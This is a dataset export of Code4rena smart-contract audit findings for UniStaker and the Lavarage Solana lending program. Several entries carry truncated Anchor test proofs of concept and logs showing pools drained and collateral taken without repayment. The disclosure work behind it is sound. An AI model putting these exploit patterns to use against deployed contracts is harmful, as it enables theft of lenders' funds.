xanoutas/solidity-security-findings huggingface dataset:
notifyRewardAmount vulnerability leads to negligible scaledRewardRate, discouraging staking.
Audit: 2024-02-uniswap-foundation-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-02-uniswap-foundation/blob/5298812a129f942555466ebaa6ea9a2af4be0ccc/src/UniStaker.sol#L581


# Vulnerability details

## Impact
`scaledRewardRate` is calculated based on the newly notified reward amount and the total stake: [#L581](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/5298812a129f942555466ebaa6ea9a2af4be0ccc/src/UniStaker.sol#L581)

```solidity
scaledRewardRate = (_remainingReward + _amount * SCALE_FACTOR) / REWARD_DURATION;
```
If the `_amount` is very small compared to total stake, it could result in a negligible `scaledRewardRate`.

**Issue**

If a reward notifier specifies a reward amount that is trivial compared to the total staked amount, the resulting `scaledRewardRate` will be negligible. 

For example, if 1M tokens are staked, and a reward of 1 token is notified, the rate would be:

(0 + 1 * 1e36) / (30 * 86400) = 11.57 tokens per year

This negligible rate disincentivizes staking as rewards would accrue extremely slowly.

_No validation that the notified `_amount` results in a minimum threshold rate compared to total stake._

**Impact**

Malicious actors could exploit this to discourage staking by intentionally notifying trivial rewards. Legitimate actors may also introduce this issue unintentionally if they incorrectly configure reward amounts.

**Likelihood**

High likelihood as any reward notifier can trigger this issue.

The vulnerability occurs in [`notifyRewardAmount()`:UniStaker.sol](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/5298812a129f942555466ebaa6ea9a2af4be0ccc/src/UniStaker.sol#L570-L582)


## Proof of Concept
If exploited, it leads to a negligible `scaledRewardRate`, meaning rewards accrue extremely slowly. This disincentivizes users from staking.

1. Attacker stakes a nominal amount (e.g. 1 token) to become a staker.

2. There is 1M tokens currently staked in the contract. 

3. Attacker deploys a Malicious Reward Notifier contract.

4. Malicious Notifier calls `notifyRewardAmount` with a reward of 1 token. 

5. The resulting `scaledRewardRate` is calculated as:

   (0 + 1 * 1e36) / (30 * 86400) = 11.57 tokens per year
   
6. This negligible rate discourages other users from staking.

The `notifyRewardAmount()` method does not validate the `_amount` results in a reasonable minimum rate:

## Tools Used
Manual

## Recommended Mitigation Steps
Introduce a minimum threshold for the reward rate:
```solidity
// Revert if rate below threshold
if (scaledRewardRate / totalStaked < MIN_THRESHOLD_RATE) {
  revert();
}
```


## Assessed type

Invalid Validation
Malicious users can drain all trading pools, due to insufficient instruction validation in the `borrow` function
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L41-L50


# Vulnerability details

## Impact
All trading pools can be drained easily, which will lead to massive losses for lenders

## Proof of Concept
The current implementation of the `borrow` function which is located inside of the `swap.rs` file has a major flaw within it. Although the function has a verification in place that is used to ensure that there is a proceeding instruction that calls `add_collateral` after it, this verification is implemented in such a way, that it can actually be bypassed.

```rust
        if ix_discriminator == crate::instruction::TradingOpenAddCollateral::DISCRIMINATOR {
            require_keys_eq!(
                ix.accounts[2].pubkey,
                ctx.accounts.trading_pool.key(),
                FlashFillError::IncorrectProgramAuthority
            );
            require_keys_eq!(
                ix.accounts[1].pubkey,
                ctx.accounts.trader.key(),
                FlashFillError::IncorrectProgramAuthority
            );
            break;
        }
```

As it can be seen, the verification consists of two equality checks that enforce the `trading_pool` and `trader` public keys that are being passed in to the `add_collateral` function's context to be equal to the ones passed in to the current `borrow` function's context. However, this is not enough, since the `position_account` public key being passed in to both of those functions is actually calculated based on **three** values - the `trading_pool`, `trader` and **`random_account_as_id`**. What this essentially means is users can create instructions that call the `add_collateral` function for already created positions, which will actually pass the `borrow` function's verification mechanism, effectively allowing them to borrow an infinite amount of SOL from any trading pool without putting any collateral at stake for it (or in other words, **allowing them to steal all SOL from any trading pool**).

The following coded PoC demonstrates the issue at question. To run it, paste it at the bottom of the `lavarage` describe block in the `lavarage.spec.ts` test file and then run `anchor test` in `libs/smart-contracts`. The tests inside `lavarage.spec.ts` are stateful, so the order in which they are executed does matter.

```ts
it('Should allow borrowing SOL without adding any collateral', async () => {
    const randomAccountSeed1 = Keypair.generate();
    const randomAccountSeed2 = Keypair.generate();

    const fundAmount = 5000000000;
    await program.methods
        .lpOperatorFundNodeWallet(new anchor.BN(fundAmount))
        .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
        })
        .rpc();

    const traderBalanceBefore = await provider.connection.getBalance(pro
Collateral can be claimed back without repaying its corresponding loan due to insufficient instruction validation
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swapback.rs#L43-L77


# Vulnerability details

## Impact
Users can bypass the repayment of their loans when claiming their collateral, which can be abused in order to drain any trading pool

## Proof of Concept
The `borrow_collateral` function located inside the `swapback.rs` file lacks a crucial instruction validation check - a check for verifying that the `random_account_as_id` value passed in to the `repay_sol` instruction context is not the same as that passed in to the `borrow_collateral` instruction context. What this effectively means is that users can pass in an instruction that calls `repay_sol` with a `position_account` value that is different than the one passed in to `borrow_collateral`. This can be abused in order to claim the collateral for one position, while repaying the borrowed SOL for another (even if that one was already repaid), making it possible to claim back collateral while repaying practically nothing, if the repayed position is one with a dust amount borrowed. 

The following coded PoC demonstrates the issue at question. To run it, paste it at the bottom of the `lavarage` describe block in the `lavarage.spec.ts` test file and then run `anchor test` in `libs/smart-contracts`. The tests inside `lavarage.spec.ts` are stateful, so the order in which they are executed does matter.

```ts
it('Should allow claiming collateral without repaying the loan', async () => {
    const randomAccountSeed1 = Keypair.generate();
    const randomAccountSeed2 = Keypair.generate();

    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    // increase max borrow to 1 SOL so that we don't have to mint more tokens
    await program.methods
      .lpOperatorUpdateMaxBorrow(new anchor.BN(1000000000))
      .accountsStrict({
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        operator: provider.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .rpc();

    await program.methods
      .lpOperatorFundNodeWallet(new anchor.BN(5000000000))
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
      })
      .rpc();

    const traderBalanceBefore = await provider.connection.getBalance(
      provider.publicKey,
    );

    const positionAccount = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      randomAccountSeed1.publicKey.toBuffer(),
    ]);
    const positionATA = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount,
      true,
    );

    // opening a first very sma
The `env!` macro won't work once the Lavarage program is deployed on-chain, leading to the `liquidate` function being permanently DoSed
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L23


# Vulnerability details

## Impact
The `liquidate` function will be permanently DoSed, opening the possibility for borrowers having under-collateralized loans, which will lead to lenders experiencing significant losses

## Proof of Concept
The current implementation of  the `liquidate` function assigns the value of `oracle_pubkey_check` to the environment variable `ORACLE_PUB_KEY`, by reading it using the `env!` macro provided in the Rust standard library. 

```rust
let oracle_pubkey_check = Pubkey::from_str(env!("ORACLE_PUB_KEY")).expect("Invalid public key");
```

This will work fine for local deployments and for running tests, as the environment variable will be taken from the local machine. However, given that the `env!` call is performed at runtime, when the Lavarage program is deployed on-chain, this will lead to that environment variable not being able to be read, as at that point, the program will be actually running within the Solana network's execution environment. What this means is that on-chain, the `liquidate` function will be permanently non-callable, making it impossible to liquidate any borrower, even if their loans become under-collateralized.

## Tools Used
Manual review

## Recommended Mitigation Steps
Create a config account that will be used for storing the `oracle` public key instead of using an environment variable. [This article](https://www.soldev.app/course/env-variables) does a great job of explaining how this can be achieved.


## Assessed type

DoS
The `liquidate` function does not take accrued interest fees into account when calculating the LTV of a given position
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L27


# Vulnerability details

## Impact
Lenders will experience net losses, since under-collateralized positions won't be liquidatable

## Proof of Concept
The current implementation of the `liquidate` function currently has a LTV check that looks like this:

```rust
require!(ctx.accounts.position_account.amount * 1000 / position_size  > 900, FlashFillError::ExpectedCollateralNotEnough );
```

What it does is that it checks whether the LTV of the position that is attempted to be liquidates is greater than 90%. If it is, it proceeds and liquidates the specified position and if it isn't, it reverts the transaction execution. There is one critical value that it does not take into account though - the amount of accrued interest fees.

What this can lead to is that in the event where a borrower has accrued a lot of interest fees, so much that their **borrowerd amount + accumulated interest fees is > their collateral's worth in SOL**, they will most likely decide to not repay their loan, as this will be the more economically favorable option for them. In that case, if their LTV calculated by the above formula is less than 90%, their position will be also be non-liquidatable. And in that case, since their collateral is locked within the PDA for their position, the lender from who's trading pool they took the loan from will experience a big loss, as they will neither be able to get back their SOL from that loan nor the collateral for it.

## Tools Used
Manual review

## Recommended Mitigation Steps
Take the accrued interest fees into account when making the LTV check in the `liquidate` function


## Assessed type

Math
A borrower can borrow SOL without backing it by a collateral
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L40-L51


# Vulnerability details



## Impact
The borrower can borrow SOL from the lender without backing it by a collateral. This is possible because the borrower can open two positions at the same time (same TX) but link both `addCollateral` to one position. Although `borrow` checks the existence of `addCollateral`, it doesn't check if the positions match.


This can be done as follows:

1. The borrower opens two positions (Pos#1 and Pos#2).
2. When opening the position, the borrower links both collateral to Pos#1
4. The borrower repays Pos#1.borrowed, Thus, withdrawing both collaterals.
5. Now, the protocol has no collaterals.
6. The borrower got away with Pos#2.borrowed without adding a collateral.

Check the PoC below, It demonstrates how a thief could perform the scenario above.


***Note: this is different from the other issue reported (completly different root cause and slightly different impact)***

## Proof of Concept
-  Please create a file  `tests/poc_extract_col_and_sol_lavarage.spec.ts`) , then run the following command:
	```sh
	ORACLE_PUB_KEY=ATeSYS4MQUs2d6UQbBvs9oSNvrmNPU1ibnS2Dmk21BKZ anchor test
	```

- You should see the following output:
	```sh
	  console.log
		===== Initial Amounts======

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:311:13

	  console.log
		Pos#1.collaterel    :  0n

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:313:13

	  console.log
		Pos#2.collaterel    :  0n

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:314:13

	  console.log
		Borrower Collaterel :  200000000000000000n

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:315:13

	  console.log
		Node Sol            :  500001294560

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:317:13

	  console.log
		Borrower Sol        :  499999499996989200

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:318:13

	  console.log
		===== After Borrow #1 and #2======

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:335:13

	  console.log
		Pos#1.collaterel    :  200000000000000000n

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:355:13

	  console.log
		Pos#2.collaterel    :  0n

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:356:13

	  console.log
		Borrower Collaterel :  0n

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:357:13

	  console.log
		Node Sol            :  495001294555

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:361:13

	  console.log
		Borrower Sol        :  499999504967724700

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:362:13

	  console.log
		>>===== Now, repay borrow#1 only and withdraw all of my collaterals======>>

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:400:13

	  console.log
		===== After Successful Repay ======

		  at tests/poc_extract_col_and_sol_lavarage.spec.ts:404:13

	  console.log
		Pos#1.collaterel    :
Borrowers are able to steal the collateral
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L107
https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L58-L72


# Vulnerability details

## Impact
Malicious users can submit arbitrary programs during liquidations due to a lack of checks ensuring that the Token program is the real SPL program.

This could potentially allow borrowers to 'liquidate' their own positions, extracting collateral into their own accounts rather than the lender's.

## Proof of Concept
`Liquidate` doesn't have any checks for `token_program`:

```rust
  #[derive(Accounts)]
  pub struct Liquidate<'info> {
      pub mint: Account<'info, Mint>,
      #[account(mut, seeds = [b"position", trader.key().as_ref(), trading_pool.key().as_ref(), random_account_as_id.key().as_ref()],
    bump)]
      pub position_account: Account<'info, Position>,
      #[account(mut)]
      /// CHECK: This is not dangerous because we only use it for its public key
      pub trader: AccountInfo<'info>, // The account of the trader initiating the swap
      #[account(mut)]
      pub trading_pool: Account<'info, Pool>, // The trading pool defines the terms
      #[account(mut, address = get_associated_token_address(&position_account.key(), &mint.key()))]
      pub from_token_account: Account<'info, TokenAccount>,
      #[account(mut, address = get_associated_token_address(&operator.key(), &mint.key()))]
      pub to_token_account: Account<'info, TokenAccount>,
      pub node_wallet: Account<'info, NodeWallet>, // The account of the trader initiating the swap
@>    pub token_program: Program<'info, Token>,
      /// CHECK: We just want the value of this account
      pub random_account_as_id: UncheckedAccount<'info>,
      pub clock: Sysvar<'info, Clock>,
      /// CHECK: Will be checked in code. operator is not required to sign. 
      pub operator: AccountInfo<'info>,
      pub oracle: Signer<'info>,
  }
```

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L107

An attacker/borrower might `liquidate` their own position passing their own program instead of the SPL:

```rust
  let seeds = &[
      b"position", 
      trader_key.as_ref(), 
      trading_pool_key.as_ref(),
      random_account_as_id_key.as_ref(),
      &[bump_seed]
  ];
  let signer_seeds = &[&seeds[..]];
  let cpi_accounts = Transfer {
    from: ctx.accounts.from_token_account.to_account_info(),
    to: ctx.accounts.to_token_account.to_account_info(),
    authority: ctx.accounts.position_account.to_account_info(),
  };
  let cpi_ctx = CpiContext::new_with_signer(cpi_program_clone, cpi_accounts, signer_seeds);
  token::transfer(cpi_ctx, ctx.accounts.position_account.collateral_amount)?;
```
https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/liquid
The borrower can steal all SOL from the lender by paying almost nothing as a collateral
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/swapback.rs#L43-L63


# Vulnerability details

## Impact
Due to the lack of seed validation on `borrow_collateral` function, the borrower can steal all SOL from the lender by paying almost nothing as a collateral. This can be done as follows:

1. The borrower opens two positions.
2. Pos#1 is a small one. So, the borrowed and the collateral amounts are small.
3. Pos#2 is a big one. So, the borrowed and the collateral amounts are big.
4. The borrower repays Pos#1.borrowed (small amount)  while withdrawing Pos#2.collateral (big amount)
5. Thus, the protocol now has Pos#2.borrowed (not backed by any collateral), and Pos#1.collateral not withdrawn.
6. The borrower got away with Pos#1.borrowed and Pos#2.collateral amounts.

Check the PoC below, It demonstrates how a thief could perform the scenario above.

***Note: this is different from the other issue reported (completly different root cause and slightly different impact)***


## Proof of Concept

-  Please create a file  `tests/poc_steal_sol_lavarage.spec.ts`) , then run the following command:
	```sh
	ORACLE_PUB_KEY=ATeSYS4MQUs2d6UQbBvs9oSNvrmNPU1ibnS2Dmk21BKZ anchor test
	```

- You should see the following output:
	```sh
	  console.log
		===== Initial Amounts======

		  at tests/poc_steal_sol_lavarage.spec.ts:308:13

	  console.log
		Pos#1.collaterel     :  0n

		  at tests/poc_steal_sol_lavarage.spec.ts:310:13

	  console.log
		Pos#2.collaterel     :  0n

		  at tests/poc_steal_sol_lavarage.spec.ts:311:13

	  console.log
		Borrower Collaterel  :  200000000000000000n

		  at tests/poc_steal_sol_lavarage.spec.ts:312:13

	  console.log
		Node Sol             :  500001294560

		  at tests/poc_steal_sol_lavarage.spec.ts:314:13

	  console.log
		Borrower Sol         :  499999499996989200

		  at tests/poc_steal_sol_lavarage.spec.ts:315:13

	  console.log
		===== After Borrow #1 and #2======

		  at tests/poc_steal_sol_lavarage.spec.ts:333:13

	  console.log
		Pos#1.collaterel    :  100000000n

		  at tests/poc_steal_sol_lavarage.spec.ts:353:13

	  console.log
		Pos#2.collaterel    :  100000000000000000n

		  at tests/poc_steal_sol_lavarage.spec.ts:354:13

	  console.log
		Borrower Collaterel :  99999999900000000n

		  at tests/poc_steal_sol_lavarage.spec.ts:355:13

	  console.log
		Node Sol            :  495001294555

		  at tests/poc_steal_sol_lavarage.spec.ts:359:13

	  console.log
		Borrower Sol        :  499999504967719600

		  at tests/poc_steal_sol_lavarage.spec.ts:360:13

	  console.log
		>>===== Now, repay Pos#1 and withdraw collateral of Pos#2 ======>>

		  at tests/poc_steal_sol_lavarage.spec.ts:399:13

	  console.log
		===== After Successful Repay ======

		  at tests/poc_steal_sol_lavarage.spec.ts:403:13

	  console.log
		Pos#1.collaterel     :  100000000n

		  at tests/poc_steal_sol_lavarage.spec.ts:421:13

	  console.log
		Pos#2.collaterel     :  0n

		  at tests/
Malicious borrowers will never repay loans with high interest
Audit: 2024-04-lavarage-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L27
https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L16


# Vulnerability details

## Impact
Borrowers have no incentives to repay the loan if the owed interest grows too much, as the liquidation check fails to take it into consideration when calculating the LTV. This will generate bad debt for the lenders.

## Proof of Concept

The liquidation call must pass this check to execute:

```rust
require!(ctx.accounts.position_account.amount * 1000 / position_size  > 900, FlashFillError::ExpectedCollateralNotEnough );
```

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/liquidate.rs#L27

The issue is that it fails to consider **how much interest is owed by the borrower**, it only checks how much the user has borrowed at the start of the loan:

```rust
ctx.accounts.position_account.amount = position_size - user_pays;
```

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L16

As such, if the borrower accumulates a very high interest to pay, the lender has no way to liquidate this position if the original borrowed amount's LTV (without accrued interest) stays under 90%. These borrowers will never repaid the loan, and this will generate bad debt for lenders.

## Tools Used
Manual review

## Recommended Mitigation Steps
Consider adding the owed interest to the total amount when performing the liquidation check.


## Assessed type

Invalid Validation